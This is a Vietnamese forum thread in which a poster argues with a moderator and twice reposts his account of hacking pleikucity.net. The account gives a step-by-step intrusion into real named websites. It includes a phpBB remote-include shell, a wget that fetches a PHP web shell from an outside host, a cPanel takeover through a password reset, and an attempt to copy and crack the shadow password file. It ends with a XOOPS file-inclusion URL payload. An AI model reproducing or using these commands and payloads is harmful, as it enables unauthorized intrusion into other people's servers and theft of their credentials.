Nếu cần góp ý thì tạo một chủ đề riêng cho góp ý. Không nên "PS" ở cuối một bài viết kỹ thuật để phàn nàn.
 

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.
 

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.
 

Mục tiêu : Pleikucity.net
Thông tin đã có về mục tiêu : Sài shared hosting ( *"3.gif"* ) , Saì Open Source XOOPS ....

Inclusion file bug (misc.php):

Code:

include_once XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/misc.php';

whois.sc/pleikucity.net ----> reverse IP ---> 350 Results for 67.15.40.4 (Pleikucity.net)

hừhm hừhm... ! lt chọn phpBB là mục tiêu vì phpBB có nhiều bug rất củ chuối có thể remote được cả shell .. !

lụm được khoảng gần chục em sài phpBB .. chọn đại 1 thằng.. và lt chọn : http://www.sickpuppyrecords.com/

kkhì khì ! loay hoay đâu khoảng 10 phút langtu đã có 1 shell ảo trên host nó thông qua bug remote include file ! híc ! Và việc bây giờ là phải làm sao up được 1 con remv php lên host để tiện cho việc sữ dụng sau này ! OKies
Code:

ls -al

thấy folder uploads của nó chmod 777 nên ta sẽ up vào đó ! nhưng up nếu up trực tiếp = file .php thì sẽ ko được .. vì *nix ko chấp nhận ! như vậy ta dùng :
Code:

cd /uploads

Code:

wget haylam.com/xxx/c98.zip

unzip : Code:

unzip c98.zip

bây giờ thữ xem :

http://www.sickpuppyrecords.com/phpBB/uploads/c98.php

đã thành công Vì mới nãy ta up thông qua exploit của forum nên ta cũng có owner tương đương với user của nó là : sickpupp/sickpupp

Code:

cat /home/sickpupp/.contactemail

OKies ! tiến hành forgot pass login vào Cpanel ! hehe ! Có 1 Cpanel rồi lt tính chơi trò forgot tiếp để vào thằng Pleiku nhưng ko được ,Cpanel đã fix!

Vào ftp up lên con cgi-telnet rồi "ln " shadow file ra ! OK ! đã ln được shadow file .. nhưng chỉ có root mới sài nó được ( điều dĩ nhiên ) ! Lợi dụng bug của Cpanel ... loay hoay 1 hồi đã có file shadow trên máy !

Crack ko ra pass root và pass của user pleiku !

quay lại con cgi-telnet mới nãy mới up :
Code:

ls -al /home/pleiku/public_html/html/

folder uploads của nó chmod 777 , up 1 em c98 lên... ! Up thành công ---> nhưng bị error 500 , dù up file perl hay php ! Nghĩ đi nghĩ lại sao lại error 500 ?? Phải chăng serv này PHP chạy dưới dạng CGI ??? chắc là thía rồi ! híc !
Với lại owner của mình là sickpupp/sickpupp mà lại up sang chỗ của thằng pleiku/plieku ... liệu có được ko ?? vì còn noob nên bỏ qua vấn đề này !

Còn nhớ mới nãy ta thấy XOOPS có 1 bug inclusion file ko ???
hí hí ! Chính hắn !

rename con c98 của mình lại thành : misc.php up lên folder uploads của nó rồi open browser lên :

Code:

http://www.pleikucity.net/html/misc.php?xoopsOption%5bnocommon%5d=1&xoopsConfig%5blanguage%5d=../uploads

owner là pleiku/pleiku

 

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.
 

vì anh conmale nói :

Nếu cần góp ý thì tạo một chủ đề riêng cho góp ý. Không nên "PS" ở cuối một bài viết kỹ thuật để phàn nàn.
 

nên em mạo muổi mở 1 topic mới để hõi vậy !
 

Như em đã nói hồi bữa em có post bài " How i hack pleikucity.net " nhưng ko hiểu sao bị move vào tán gẫu .... !

anh conmale nói :

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.
 

 

Vậy cho em hõi về thâm nhập 1 chút , xin phép cho em lấy cái pleikucity.net làm ví dụ luôn :

Bắt đầu : em ko có bất cứ quyền hạn gì trên website đó và em đã cố gắng để chiếm đoạt toàn quyền điều khiển website đó ----> thành công !

Dậy thì có được gọi là " thâm nhập " ko ạ ?????
 

Bây giờ em sẽ đề cập vào nội dung bài viết !

Đúng là mới đầu bài viết có "kết bài hơi đã kích vniss" nhưng sau khi bro prof nhắc nhở em đã edit ngay !

conmale wrote:

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.
 

Tóm tắt lại nội dung bài viết :

Mục tiêu : Pleikucity.net
Thông tin đã có về mục tiêu : Sài shared hosting ( *"3.gif"* ) , Saì Open Source XOOPS ....

Inclusion file bug (misc.php):

Code:

include_once XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/misc.php';

whois.sc/pleikucity.net ----> reverse IP ---> 350 Results for 67.15.40.4 (Pleikucity.net)

hừhm hừhm... ! lt chọn phpBB là mục tiêu vì phpBB có nhiều bug rất củ chuối có thể remote được cả shell .. !

lụm được khoảng gần chục em sài phpBB .. chọn đại 1 thằng.. và lt chọn : http://www.sickpuppyrecords.com/

kkhì khì ! loay hoay đâu khoảng 10 phút langtu đã có 1 shell ảo trên host nó thông qua bug remote include file ! híc ! Và việc bây giờ là phải làm sao up được 1 con remv php lên host để tiện cho việc sữ dụng sau này ! OKies
Code:

ls -al

thấy folder uploads của nó chmod 777 nên ta sẽ up vào đó ! nhưng up nếu up trực tiếp = file .php thì sẽ ko được .. vì *nix ko chấp nhận ! như vậy ta dùng :
Code:

cd /uploads

Code:

wget haylam.com/xxx/c98.zip

unzip : Code:

unzip c98.zip

bây giờ thữ xem :

http://www.sickpuppyrecords.com/phpBB/uploads/c98.php

đã thành công Vì mới nãy ta up thông qua exploit của forum nên ta cũng có owner tương đương với user của nó là : sickpupp/sickpupp

Code:

cat /home/sickpupp/.contactemail

OKies ! tiến hành forgot pass login vào Cpanel ! hehe ! Có 1 Cpanel rồi lt tính chơi trò forgot tiếp để vào thằng Pleiku nhưng ko được ,Cpanel đã fix!

Vào ftp up lên con cgi-telnet rồi "ln " shadow file ra ! OK ! đã ln được shadow file .. nhưng chỉ có root mới sài nó được ( điều dĩ nhiên ) ! Lợi dụng bug của Cpanel ... loay hoay 1 hồi đã có file shadow trên máy !

Crack ko ra pass root và pass của user pleiku !

quay lại con cgi-telnet mới nãy mới up :
Code:

ls -al /home/pleiku/public_html/html/

folder uploads của nó chmod 777 , up 1 em c98 lên... ! Up thành công ---> nhưng bị error 500 , dù up file perl hay php ! Nghĩ đi nghĩ lại sao lại error 500 ?? Phải chăng serv này PHP chạy dưới dạng CGI ??? chắc là thía rồi ! híc !
Với lại owner của mình là sickpupp/sickpupp mà lại up sang chỗ của thằng pleiku/plieku ... liệu có được ko ?? vì còn noob nên bỏ qua vấn đề này !

Còn nhớ mới nãy ta thấy XOOPS có 1 bug inclusion file ko ???
hí hí ! Chính hắn !

rename con c98 của mình lại thành : misc.php up lên folder uploads của nó rồi open browser lên :

Code:

http://www.pleikucity.net/html/misc.php?xoopsOption%5bnocommon%5d=1&xoopsConfig%5blanguage%5d=../uploads

owner là pleiku/pleiku

 

Liệu câu nói của anh conmale :

conmale wrote:

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.
 

có chính xác lắm ko ????

vài ý kiến
-nhocbmt